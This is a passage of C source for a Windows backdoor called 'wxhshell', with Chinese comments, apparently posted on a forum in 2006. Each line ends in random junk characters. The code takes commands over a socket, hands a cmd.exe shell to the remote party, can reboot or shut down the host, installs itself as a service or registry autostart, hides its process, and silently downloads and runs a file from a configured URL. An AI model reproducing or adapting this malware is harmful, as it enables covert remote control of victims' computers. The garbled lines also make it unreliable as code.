  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b!+hH Hv:  
  else S;Fi?M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?al'F  q  
  } y#`tgJ:  
  else { ,<.V7(|t)  
%[GsD9_-  
    switch(cmd[0]) {  \__i  
  R7%#U`Q^A  
  // 帮助 [|v][Hwv  
  case '?': { Xu{1".\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n3WlZ!$  
    break; 11NQR[  
  } G0Iw-vf  
  // 安装 6W/`07 '  
  case 'i': { rm7ANMB:  
    if(Install()) 1Yq!~8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7P } W *  
    else )+#` CIv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @@f"%2ZR[  
    break; 7^avpf)>  
    } =F|{# F  
  // 卸载 /WcG{Wdp  
  case 'r': { jRa43ck  
    if(Uninstall()) 10Q ]67  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (g]!J_Z"  
    else N%@Qf~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Z3su^XR  
    break; KYm0@O>;  
    } 9 ql~q  
  // 显示 wxhshell 所在路径 `bq<$e  
  case 'p': { <sbu;dQ`  
    char svExeFile[MAX_PATH]; kdiM5l70  
    strcpy(svExeFile,"\n\r"); : $1?i)  
      strcat(svExeFile,ExeFile); iT+8|Yia  
        send(wsh,svExeFile,strlen(svExeFile),0); #~]zhHI  
    break; gT. sj d  
    } |"}FXa O  
  // 重启 ~12EQacOT  
  case 'b': { <_L,t 1H{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]h`&&Bqt  
    if(Boot(REBOOT)) e+7"/icK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j^sg6.Z*  
    else { J3V= 46Yc  
    closesocket(wsh); q>_.[+6  
    ExitThread(0); Wu/]MBM  
    } ,&A7iO  
    break; XT%nbh&y  
    } ktXM|#  
  // 关机 g/d<Zfq<{  
  case 'd': { gx/,)> E.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y1\}5k{>  
    if(Boot(SHUTDOWN)) 5DU6rks%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  \!X8   
    else { u/0h$l  
    closesocket(wsh); ,2oWWsC7  
    ExitThread(0); /U*C\ xMm  
    } 9<?M8_  
    break; Dj?> <@  
    } nc29j_Id  
  // 获取shell _ A y9p[l  
  case 's': {  Mx?d  
    CmdShell(wsh); ;4\ 2.* s  
    closesocket(wsh); wU36sCo  
    ExitThread(0); 7aRi5  
    break; Pj^{|U21  
  } Y]_ruDIW  
  // 退出 H|<[YYk  
  case 'x': { !-x$L>1$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :pY/-Cgv  
    CloseIt(wsh); \:'/'^=#|  
    break;  DPxM'7  
    } O6 3<AY@  
  // 离开 .VJMz4$]O  
  case 'q': { {]!mrAjD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); re?,Wext\  
    closesocket(wsh); 6'57  
    WSACleanup(); wssRA?9<  
    exit(1); 4B1v4g8}  
    break; 4[r0G+  
        } ~H_/zK6e  
  } #Y`~(K47  
  } N)|yu1S  
J1|\Q:-7p  
  // 提示信息 CyFrb`%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jD]~ AwRJ  
} .V/Rfq  
  } #U4F0BdA  
YUD`!C  
  return; 4jM Fr,  
} 85$m[+md  
(0r3/t?DQ  
// shell模块句柄 %P/Jq#FE .  
int CmdShell(SOCKET sock) Oc#syfO  
{ FaSf7D`C  
STARTUPINFO si; 'RR~7h  
ZeroMemory(&si,sizeof(si)); #e1>H1eU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P>C~ i:4n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; drP=A~?&:  
PROCESS_INFORMATION ProcessInfo; ~9]hV7y5C  
char cmdline[]="cmd"; jl$ece5v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dJoaCf`w  
  return 0; AaOu L,l  
} e7Z32P0ls  
=pO^7g  
// 自身启动模式 bKY7/w<dP  
int StartFromService(void) L|:`^M+^w  
{ *[Tz![|  
typedef struct H3 ^},.  
{ C*_C;6.~Y  
  DWORD ExitStatus; w^|*m/h|@u  
  DWORD PebBaseAddress; SCHP L.n  
  DWORD AffinityMask; _x'6]f{n  
  DWORD BasePriority; R6.hA_ih  
  ULONG UniqueProcessId; HGs $*  
  ULONG InheritedFromUniqueProcessId; 9G#n 0&wRJ  
}   PROCESS_BASIC_INFORMATION;  :D6 ON"6  
`l ^9/_g'6  
PROCNTQSIP NtQueryInformationProcess; )._;~z!  
<I\/n<*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ $ ;q ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mb TEp*H  
fI}to&qk  
  HANDLE             hProcess; ?%-DfCS  
  PROCESS_BASIC_INFORMATION pbi; x7&B$.>3  
IqaT?+O\?r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XK3tgaH  
  if(NULL == hInst ) return 0; {j?FNOJn  
%9F([K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DFB@O|JL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EReZkvseC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D rUO-  
!*d I|k  
  if (!NtQueryInformationProcess) return 0; 6$Xzpg(o  
%+W{iu[|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z,[Hli*0  
  if(!hProcess) return 0; rxvx  
X1x#6 oi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 /\r)$ 2i  
X8a/ `Y,  
  CloseHandle(hProcess); y1eW pPJa  
zII|9y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w7.V6S$Ga  
if(hProcess==NULL) return 0; DZ'P@f)]  
B dj!ia;H  
HMODULE hMod; jjB~G^n  
char procName[255]; Cx@);4arj  
unsigned long cbNeeded; Q^9_' t}X  
,i?nWlh+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 17%,7P9pg  
*MhRW,=  
  CloseHandle(hProcess); :1. L}4"gg  
#?U}&Bd  
if(strstr(procName,"services")) return 1; // 以服务启动 36&e.3/#  
.=7vI$ujd  
  return 0; // 注册表启动 TTX5EDCrC  
} hc(#{]].  
5,lEx1{_  
// 主模块 $kdB |4C  
int StartWxhshell(LPSTR lpCmdLine) 1Kw+,.@d  
{ ?DS@e@lx  
  SOCKET wsl; .]Y$o^mf  
BOOL val=TRUE; ~OYiq}g  
  int port=0; 6RU~"C  
  struct sockaddr_in door; av8B-GQI*#  
~~/|dh5  
  if(wscfg.ws_autoins) Install(); lV3x*4O=  
$t'MSlF  
port=atoi(lpCmdLine); lwxaMjaL4K  
\_VA 50  
if(port<=0) port=wscfg.ws_port; 7dTkp!'X-  
$D~0~gn~  
  WSADATA data; 2. NN8PPD"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xf\C|@i  
@ p9i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [: n'k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >;aWz%-  
  door.sin_family = AF_INET; xC?6v '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c)6m$5]  
  door.sin_port = htons(port); Y!aSs3c  
*2>&"B09`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,\W 8b-Z  
closesocket(wsl); L~(j3D* 3  
return 1; kf\PioD8  
} 6##_%PO<m  
TM__I\+Q  
  if(listen(wsl,2) == INVALID_SOCKET) { 5 Aw"B  
closesocket(wsl); j1Y~_  
return 1; GLH0 ]  
} K C*e/J  
  Wxhshell(wsl); /wGM#sFH  
  WSACleanup(); B {n,t}z  
,i ^9 |Oeq  
return 0; wyH[x!QX  
ih-#5M@  
} 7y'RFD9@{  
ch*8B(:  
// 以NT服务方式启动 t5^{D>S1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OR P\b  
{ nmee 'oEw  
DWORD   status = 0; ueogaifvB  
  DWORD   specificError = 0xfffffff; k&M;,e3v6  
M><yGaaX/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; }I:\P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .r=4pQ@#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j.[.1G*("  
  serviceStatus.dwWin32ExitCode     = 0; }`@vF|2L  
  serviceStatus.dwServiceSpecificExitCode = 0; ^`i#$  
  serviceStatus.dwCheckPoint       = 0; KWbI'}_z  
  serviceStatus.dwWaitHint       = 0; do hA0  
%_H<:uGO%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B6+khuG(  
  if (hServiceStatusHandle==0) return; RT4x\&q  
B&M%I:i  
status = GetLastError(); `GBW%X/  
  if (status!=NO_ERROR) RXMISt3+{y  
{ Gq)]s'r2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l ~"^7H?4e  
    serviceStatus.dwCheckPoint       = 0; OU\~::  
    serviceStatus.dwWaitHint       = 0; +%z> H"J.  
    serviceStatus.dwWin32ExitCode     = status; 5+4IN5o]=  
    serviceStatus.dwServiceSpecificExitCode = specificError; EmWn%eMN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oi7@s0@  
    return; @Rze| T.  
  } 3@_xBz,I.  
3Y4?CM&0v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]"As1"  
  serviceStatus.dwCheckPoint       = 0; 0@0w+&*"@  
  serviceStatus.dwWaitHint       = 0; $?iLLA~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GRIti9GD  
} Ys9[5@7  
{_"<1C  
// 处理NT服务事件,比如:启动、停止 IxN9&xa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Q$ q=E;X  
{ wD}l$ & +  
switch(fdwControl) & bm 1Fz  
{ BN5[,J  
case SERVICE_CONTROL_STOP: +zN-!5x  
  serviceStatus.dwWin32ExitCode = 0; \[i1JG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7vKK%H_P  
  serviceStatus.dwCheckPoint   = 0; wc@X.Q[  
  serviceStatus.dwWaitHint     = 0; pZ{+c  
  { <]t%8GB2V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~8Fk(E_  
  } mfn,Gjt3O  
  return; ] )\Pqn(  
case SERVICE_CONTROL_PAUSE: ?3`UbN:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T@B/xAq5!  
  break; ,.8KN<A2]'  
case SERVICE_CONTROL_CONTINUE: :uS\3toj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;%9|k U  
  break; Ms#M+[a  
case SERVICE_CONTROL_INTERROGATE: rl;~pO5R9  
  break; VQt0  4?  
}; R$<&ie6UQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '3tCH)s  
} M#6W(|V/  
K#d`Hyx  
// 标准应用程序主函数 `wEb<H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,AFu C <  
{ cd_yzpL@}J  
-zgI_u9=EB  
// 获取操作系统版本 Y\k#*\'Y~  
OsIsNt=GetOsVer(); C`9+6T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n0 {i&[I~+  
G `61~F%  
  // 从命令行安装 n5NsmVW\x  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0RLg:SV  
YnAm{YyI  
  // 下载执行文件 "Ac-tzhE  
if(wscfg.ws_downexe) { .@U@xRu7|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \'D0'\:vz  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Kg ks4  
} HyZqUb Ha  
WX?IYQ+  
if(!OsIsNt) {  }q`S$P;  
// 如果时win9x,隐藏进程并且设置为注册表启动 S`0(*A[W*  
HideProc(); -;m0R  
StartWxhshell(lpCmdLine); E,U+o $  
} !)0;&e5  
else O KR "4n:  
  if(StartFromService()) pJ"qu,w  
  // 以服务方式启动 NP3y+s  
  StartServiceCtrlDispatcher(DispatchTable); IY\5@PVZ  
else )'#A$ Fj  
  // 普通方式启动 ]MitOkX  
  StartWxhshell(lpCmdLine); >uhaW@d  
VU]`&`~J  
return 0; k"zv~`i'  
}
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只看该作者 1 发表于: 2006-10-10
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